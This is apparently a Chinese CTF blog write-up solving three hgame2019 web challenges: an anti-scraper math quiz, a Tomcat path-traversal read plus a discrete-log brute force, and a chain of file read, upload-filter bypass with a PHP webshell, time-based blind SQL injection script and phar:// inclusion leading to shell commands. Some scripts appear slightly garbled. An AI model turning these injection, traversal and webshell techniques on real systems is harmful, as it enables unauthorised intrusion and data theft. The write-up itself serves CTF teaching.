hgame2019 三道web题目

<h4>1、Baby_Spider</h4>

Description 
Come to death in the ocean of mathematics together with Li4n0! 
Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~
hint1:The most basic operation of a spider is to disguise itself.
hint2:Always believe only what you see with your own eyes

一道绕过反爬虫的题目。

1-10:
利用验证ua来反爬虫,如果不是浏览器的ua,第十关会执行关机的命令。解决方法是python爬取的时候加上headers就可以了。

11-20:
更换了css中的字体,浏览器的字体和content的数字不同。下载得到字体,一一对应替换就可以了。

21-30:
使用after伪元素做了替换,这里直接抓取一下css中真实的算式就可以了
以下是参考的大佬的脚本:

# -- coding: UTF-8 --
import requests
import re

header={
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
}
token={
    'token':'kLl5Oij20Tj1qdHQaP7QungmoeXXbL1V'
}

list='1026943587'
url='http://111.231.140.29:10000/'
url1='http://111.231.140.29:10000/question'
url2='http://111.231.140.29:10000/solution'
url3='http://111.231.140.29:10000/statics/style.css'
res = '<span>(.*?)='
r=requests.post(url=url,data=token)
session=r.cookies
print("[] "+"-"40)

for i in range(0,10):
    math = re.findall(res, r.text)
    math = str(math)[2:len(math) - 3]
    print('[+] %d :'%i + math)
    math = eval(math)
    result = {
        'answer': math
    }
    r=requests.post(url=url2,data=result,cookies=session,headers=header)
    session = r.cookies
    print("[] " + "-"  40)

tmp=''
for i in range(10,20):
    math = re.findall(res, r.text)
    math = str(math)[2:len(math) - 3]
    for j in math:
        if ord(j) > 47:
            tmp += list[int(j)]
        else:
            tmp += j
    math = tmp
    tmp = ''
    print('[+] %d :' % i + math)
    answer = (eval(math))
    result = {
        'answer': answer
    }
    r = requests.post(url=url2, data=result, cookies=session, headers=header)
    session = r.cookies
    print("[] " + "-"  40)


res = 'content:"(.*?)='
for i in range(20,30):
    css = requests.get(url=url3, cookies=session, headers=header)
    math = re.findall(res, css.text)
    math = str(math)[2:len(math) - 3]
    print('[+] %d :' % i + math)
    answer = (eval(math))
    result = {
        'answer': answer
    }
    r = requests.post(url=url2, data=result, cookies=session, headers=header)
    session=r.cookies
    print("[] " + "-"  40)
    if "hgame" in r.text:
        print(r.text)
import requests
import re
token = {'token' : 'kLl5Oij20Tj1qdHQaP7QungmoeXXbL1V'}
answer = {'answer' : '1'}
user = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}
url = 'http://111.231.140.29:10000/'
s = requests.session()
r = s.post(url, token)

match = re.search(r'<div class="question-container"><span>(.*)=?</span></div>', r.text)
answer['answer'] = eval(match.group(1))
r = s.post(url + 'solution', data=answer, headers=user)
for i in range(30):
    print(i)
    match = re.search(r'<div class="question-container"><span>(.*)=?</span></div>', r.text)
    answer['answer'] = eval(match.group(1))
    # if i == 21:
    #     print(s.cookies['session'])
    #     break
    if i >= 9 and i < 19:
        question = match.group(1)
        true_question = ''
        for j in question:
            if j == '0':
                true_question += '1'
            elif j == '1':
                true_question += '0'
            elif j == '3':
                true_question += '6'
            elif j == '4':
                true_question += '9'
            elif j == '5':
                true_question += '4'
            elif j == '6':
                true_question += '3'
            elif j == '7':
                true_question += '5'
            elif j == '9':
                true_question += '7'
            else:
                true_question += j
        answer['answer'] = eval(true_question)

    if i >= 19:
        nextr = s.get('http://111.231.140.29:10000/statics/style.css', headers = user)
        nextmatch = re.search(r'content:"(.*?)=?";', nextr.text)
        answer['answer'] = eval(nextmatch.group(1))
    r = s.post(url + 'solution', data=answer, headers=user)
    if i == 28:
        print(r.text)
        break

<h4>2、Math有趣</h4>

Description 
Math is interesting, isn't it?
update: 题中最后的^是乘方,不是xor
hint: 了解一下tomcat、spring mvc的目录结构和配置文件(自己搭一下就明白了
hint2: 图片目录不在web目录下

打开题目,发现图片的url有、东西
http://test.tan90.me:8080/img/cXVlc3Rpb24ucG5n.php
cXVlc3Rpb24ucG5nbase64解密下得到:question.png
并且看到url后可以读取文件,报错页面发现class内容,构造读取class内容:
../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class
得到:

0123852^x % 612799081 = 6181254136845 % 612799081
The flag is hgame{x}.x is a decimal number.

然后用脚本爆破一下就可以了:

i=1
while(i):
    if pow(123852,i,612799081)==562605879:
        print i
        break
    i+=1

<h4>3、基础渗透</h4>

Description 
综合利用各种漏洞来getshell,然后找到被藏起来的flag。

先注册然后登陆,浏览网站看下网站的功能:

* 用户注册、用户登陆、用户管理(上传头像、修改密码)
* 查看留言、新建留言、删除留言

观察url,发现在管理处任意任意文件读取漏洞,可以用伪协议绕过读取任意文件。
先读取到所有源码:

  • index.php
  • register.php
  • login.php
  • user.php
  • message.php
  • messages_api.php
  • functions.php
  • config.php

接下来代码审计:
发现文件上传处可以上传一句话木马,抓包修改文件类型就可绕过验证:

function upload_avatar()
{
    $type = $_FILES'file';
    $user_id = $_SESSION['user_id'];
    if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
        $avatar = get_avatar($user_id);
        if ($avatar == null) {
            $name = rand_filename();
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
            $sql_query = "update users set avatar='$name' WHERE user_id=$user_id";
            sql_query($sql_query);
        } else {
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

        }
    }
}

但是上传后的文件需要重命名,对文件重命名利用了rand_filename()函数,采用随机生成文件名的方式我们无法得知上传的文件名:

function rand_filename()
{
    $tmp = cat /dev/urandom | head -n 10 | md5sum | head -c 15;
    $sql_query = "select avatar from users where avatar=$tmp";
    $res = sql_query($sql_query);
    if ($res->num_rows) {
        return rand_filename();
    } else {
        return $tmp;
    }
}

但是通过审计文件上传代码我们发现把文件名插入了数据库,预测能否利用注入,得到文件名。
继续审计注册、登陆等处,发现用addslashes函数进行了过滤,无法注入。但是发现删除处利用的机制是删除留言的id达到删除留言的目的,因此addslashes函数并没有什么用,存在整型注入:

function delete_message($message_id)
{
    $user_id = $_SESSION['user_id'];
    if ($_POST['token'] === $_SESSION['token']) {
        if ($_SESSION['groups'] == 0) {
            $sql_query = "delete from messages where message_id=$message_id and user_id=$user_id";
        } elseif ($_SESSION['groups'] == 1) {
            $sql_query = "delete from messages where message_id=$message_id";
        }
        sql_query($sql_query);

    }
}

因此我们可以留言,然后删除留言时注入,注入出上传的文件的名字,因为这里没有回显之类的,所以我们可以利用时间盲注。

上传shell后要利用index.php处的文件包含getshell,但是index.php的文件包含处强制后缀为.php,因此利用phar://协议,把木马文件压缩为zip文件,修改后缀为png,
抓包修改type为image/png,上传,然后利用phar://协议包含:

action=phar://img/avatar/xxxxxxxxxxxxxxxx.png/vvv

注意:

注入时需要有留言存在,所以编写脚本时每次注入前先进行留言;token会失效,所以每次注入前获取一次最新的token。

延时注入脚本:

import requests
import re
flag=''
restr = "<input type='hidden' value='(.*?)' id='token'"
url = 'http://111.231.140.29:10080/index.php'
header={
    'User-Agent':'curl/7.54.0',
    'Accept':'/'
}
cookie = {
    'PHPSESSID':'n7vhk7dq0anl0uqgrc1jd4e7e6',
    'user':'vvv',
    'groups':'0'
}
url2 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url4 = 'http://111.231.140.29:10080/messages_api.php?action=add'
for i in range(1,1000):
    print(i)
    # for j in range(33,127):
    for j in '0123456789abcdef':
        j = ord(j)
        r = requests.get(url=url, cookies=cookie,headers=header)
        token = re.findall(restr, r.content.decode('utf-8'))[0]
        #payload = "-1 or if((ascii(substr((database()),%d,1))=%d),sleep(5),0)#"%(i,j)
        payload = "-1 or if((ascii(substr((select avatar from users where username like 0x767676 limit 1),%d,1))=%d),sleep(3),0)#"%(i,j)
        data = {
            'message_id':payload,
            'token':token
        }
        try:
            r = requests.post(data=data,cookies=cookie,url=url2,timeout=2.5,headers=header)
        except:
            flag += chr(j)
            print(flag)
            r = requests.get(url=url, cookies=cookie,headers=header)
            token = re.findall(restr, r.content.decode('utf-8'))[0]
            data = {
                'new_message': '123456',
                'token': token
            }
            r = requests.post(data=data,cookies=cookie,url=url4,headers=header)
            break

注入出文件名为:748b1b0db315693
访问:

http://111.231.140.29:10080/index.php?action=phar://./img/avatar/748b1b0db315693.png/vvv

成功get shell。
接下来就是找flag:

v=system('find / -name flag');
/usr/lib/flag
/usr/lib/flag/flag
v=system("ls /usr/lib/flag");
flag
get_flag
v=system("cat /usr/lib/flag/flag");
无法读取,但是同目录下还有get_flag  利用get_flag读取flag
v=system("/usr/lib/flag/get_flag /usr/lib/flag/flag");
hgame{e4616b38e22d1a22cedc53a90cfaa87f75ccbfe565399857a390950a58a94e68}

膜一波出题师傅,神操作。。
flag:hgame{e4616b38e22d1a22cedc53a90cfaa87f75ccbfe565399857a390950a58a94e68}

1 + 4 =
快来做第一个评论的人吧~